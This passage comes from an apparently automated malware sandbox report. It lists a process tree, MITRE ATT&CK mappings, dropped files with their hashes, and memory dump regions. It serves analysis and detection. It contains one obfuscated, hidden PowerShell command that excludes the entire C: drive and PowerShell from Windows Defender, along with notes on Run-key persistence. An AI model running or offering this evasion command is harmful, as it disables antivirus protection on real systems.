Invoke-Expression"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4648

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden -c .('Add-MpP' + 'reference') -ExclusionPath C:\ -ExclusionProcess powershell.exe
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4076

C:\Windows\system32\taskkill.exe
taskkill /IM cmstp.exe /F
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4a94b4432dca934df6651a53f56abe6b

SHA1
1461c5bc22eaef55ed98713d67a4c5f5c8e11d69

SHA256
63455ddf3d736ca85a5a6805851142c18f28b9987d5f6caa9dd490269b34f8a2

SHA512
8f262e5b722138e3b1576e89528a46c031a0239939d45916e0a688ca802c6de3d3ddf19391a6b5660ac7fb9dc9da25eb9c2ad8fd77ed798175a09e2095cb94b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESFB29.tmp

Filesize
1KB

MD5
ebadc5b70cf3fe6d418927dc1498089a

SHA1
3a809d42d71a2089b2aa3cf15f11210ca884fead

SHA256
b82309b2574c91d7839ba2eb099e2dd6bfd7d8581d8852a6dde5ff9a3bd96f32

SHA512
1badc0a9f45c2bc8679f18138f3ae01b3d18e163f36eddcd38285c159e6816bcde7ab3ec9099ea5ca83b20c949c9fc21fc77368c604f43129a49c10cda65d866

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bl2ej4sq.ilj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\c.bat

Filesize
269KB

MD5
245dd461fa69b6c1d8abbf653b318cff

SHA1
90c2ac95dbb0eb62c94b835dd38cc81af9ff1e70

SHA256
6d582333e7c644edbc40e5856c267f5d321c33d705940a7e3450795fa1bebc3d

SHA512
aba92cb3c4804d86c1d3ce457603918cf961e23c76d9de1af3eb5d80fb3b5903e56bfb8da007848a5d341d7100a1404ae472db3ebd1529be51a5f63c7d4e40f7

Download Submit
C:\Users\Admin\AppData\Local\Temp\dwoejhlm\dwoejhlm.dll

Filesize
4KB

MD5
22919694e00f9ac245d739d62d292fa6

SHA1
e5212b81e82d62852c0941fe6daf5f4b01c5bce7

SHA256
38e2a73c2e903d196174280addf1ff93bf62fd18032c415d405f12b5aad1feed

SHA512
82b5676ede407697fc3bef5715a85f7aed38d41432050ddb5ab27bcd7b1c46e8ef1555bffec4a37a0e4df4e7d36194eba77225b8e7aa467a65628856ea829670

Download Submit
C:\windows\temp\3qrj3ock.inf

Filesize
663B

MD5
27581dbbe3c3840ce72f99c21071898a

SHA1
898afeb9523df9367c74a01c0dbecf6b637f3cb1

SHA256
c5f2bbdebccd52c3eba3c97a251ffa2ccd01f64de764e560f804045fe868d27b

SHA512
0b9c4531e8be5b292638cb2cad7fd1b72ed3f1aa20ea027b9a013a8bfb2daaa4a25a40c37423e0924d110bbbbfad4a6e21aa03f4694978d205d7ac9739567d9f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dwoejhlm\CSCB7F841C5CF77409C8EACC78CA29A782F.TMP

Filesize
652B

MD5
b3a41d647e9e841cc9e53947f62f5e76

SHA1
19d30d834ae26cce0cd2a70b181e1fa57a6d7180

SHA256
99c0e51d89d37fe30fe8766581ed158ef23ad8cdf1e635f5058e7f2200457d09

SHA512
4ad056990db6ce6bc06b6f21f2103b514228804529b3cabf6afe3c038f74966018d536645333bf11f0d42ad43b809afcb3f68533b81825657bef9577c85cb1df

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dwoejhlm\dwoejhlm.0.cs

Filesize
2KB

MD5
b8106096972fb511e0cf8b99386ecf93

SHA1
3003ba3a3681ba16d124d5b2305e6cc59af79b44

SHA256
49d2a0f78cbec3d87396b6f52f791c66505edeec87a70d4ce45721288210da02

SHA512
218bd9cd17c56d2e138205a197780cc2a5a81bfce7d5439eecb168f61955ba97793e7333425c064f6b6337e1f70c75bd373a7fb502a8c538fb046600018f871e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dwoejhlm\dwoejhlm.cmdline

Filesize
369B

MD5
48a84a2b3911b44fdcf670d574d8e56c

SHA1
abdb70a37193db5dc14b9e5bc2301726502cfdf5

SHA256
1dce193d7abb94cfdc1a5a8b92b5abe271657787c32772c01c79e4e34d3edca3

SHA512
c95d45640ab1813315f51ee84360aaeb53089b186cb27df7b6e94265d0294e79c28c68c1945821d26b8431cf44e2950d2c3ffb2b70ec6b467ce62a38d657a794

Download Submit
memory/4200-17-0x000001FF70460000-0x000001FF7047C000-memory.dmp

Filesize
112KB

Download
memory/4200-16-0x00007FFE1BE20000-0x00007FFE1C8E1000-memory.dmp

Filesize
10.8MB

Download
memory/4200-30-0x000001FF704E0000-0x000001FF704E8000-memory.dmp

Filesize
32KB

Download
memory/4200-15-0x00007FFE1BE20000-0x00007FFE1C8E1000-memory.dmp

Filesize
10.8MB

Download
memory/4200-14-0x000001FF700D0000-0x000001FF700F2000-memory.dmp

Filesize
136KB

Download
memory/4200-46-0x00007FFE1BE23000-0x00007FFE1BE25000-memory.dmp

Filesize
8KB

Download
memory/4200-47-0x00007FFE1BE20000-0x00007FFE1C8E1000-memory.dmp

Filesize
10.8MB

Download
memory/4200-4-0x00007FFE1BE23000-0x00007FFE1BE25000-memory.dmp

Filesize
8KB

Download
memory/4200-50-0x00007FFE1BE20000-0x00007FFE1C8E1000-memory.dmp

Filesize
10.8MB

Download
memory/4648-69-0x0000000005F70000-0x0000000005F8E000-memory.dmp

Filesize
120KB

Download
memory/4648-87-0x0000000007800000-0x000000000780A000-memory.dmp

Filesize
40KB

Download
memory/4648-55-0x0000000005170000-0x0000000005192000-memory.dmp

Filesize
136KB

Download
memory/4648-56-0x0000000005210000-0x0000000005276000-memory.dmp

Filesize
408KB

Download
memory/4648-57-0x0000000005940000-0x00000000059A6000-memory.dmp

Filesize
408KB

Download
memory/4648-67-0x0000000005A30000-0x0000000005D84000-memory.dmp

Filesize
3.3MB

Download
memory/4648-53-0x0000000004B70000-0x0000000004BA6000-memory.dmp

Filesize
216KB

Download
memory/4648-70-0x0000000005FF0000-0x000000000603C000-memory.dmp

Filesize
304KB

Download
memory/4648-71-0x0000000007890000-0x0000000007F0A000-memory.dmp

Filesize
6.5MB

Download
memory/4648-72-0x0000000006450000-0x000000000646A000-memory.dmp

Filesize
104KB

Download
memory/4648-73-0x0000000007690000-0x00000000076C2000-memory.dmp

Filesize
200KB

Download
memory/4648-74-0x0000000071180000-0x00000000711CC000-memory.dmp

Filesize
304KB

Download
memory/4648-75-0x0000000071900000-0x0000000071C54000-memory.dmp

Filesize
3.3MB

Download
memory/4648-85-0x00000000076D0000-0x00000000076EE000-memory.dmp

Filesize
120KB

Download
memory/4648-86-0x0000000007700000-0x00000000077A3000-memory.dmp

Filesize
652KB

Download
memory/4648-54-0x00000000052A0000-0x00000000058C8000-memory.dmp

Filesize
6.2MB

Download
memory/4648-88-0x0000000007FB0000-0x0000000008046000-memory.dmp

Filesize
600KB

Download
memory/4648-89-0x0000000007810000-0x0000000007821000-memory.dmp

Filesize
68KB

Download
memory/4648-90-0x0000000007840000-0x000000000784E000-memory.dmp

Filesize
56KB

Download
memory/4648-91-0x0000000007860000-0x0000000007874000-memory.dmp

Filesize
80KB

Download
memory/4648-92-0x0000000007F30000-0x0000000007F4A000-memory.dmp

Filesize
104KB

Download
memory/4648-93-0x0000000007F10000-0x0000000007F18000-memory.dmp

Filesize
32KB

Download
memory/4648-95-0x0000000004ED0000-0x0000000004ED8000-memory.dmp

Filesize
32KB

Download
memory/4648-96-0x0000000007620000-0x0000000007654000-memory.dmp

Filesize
208KB

Download
memory/4648-97-0x0000000008600000-0x0000000008BA4000-memory.dmp

Filesize
5.6MB

Download
memory/4648-100-0x0000000008050000-0x00000000080AE000-memory.dmp

Filesize
376KB

Download
memory/4648-101-0x0000000008150000-0x00000000081E2000-memory.dmp

Filesize
584KB

Download
memory/4648-102-0x0000000008C30000-0x0000000008C42000-memory.dmp

Filesize
72KB

Download
memory/4648-103-0x0000000008C90000-0x0000000008CCC000-memory.dmp

Filesize
240KB

Download
memory/4648-105-0x0000000008DE0000-0x0000000008DEA000-memory.dmp

Filesize
40KB

Download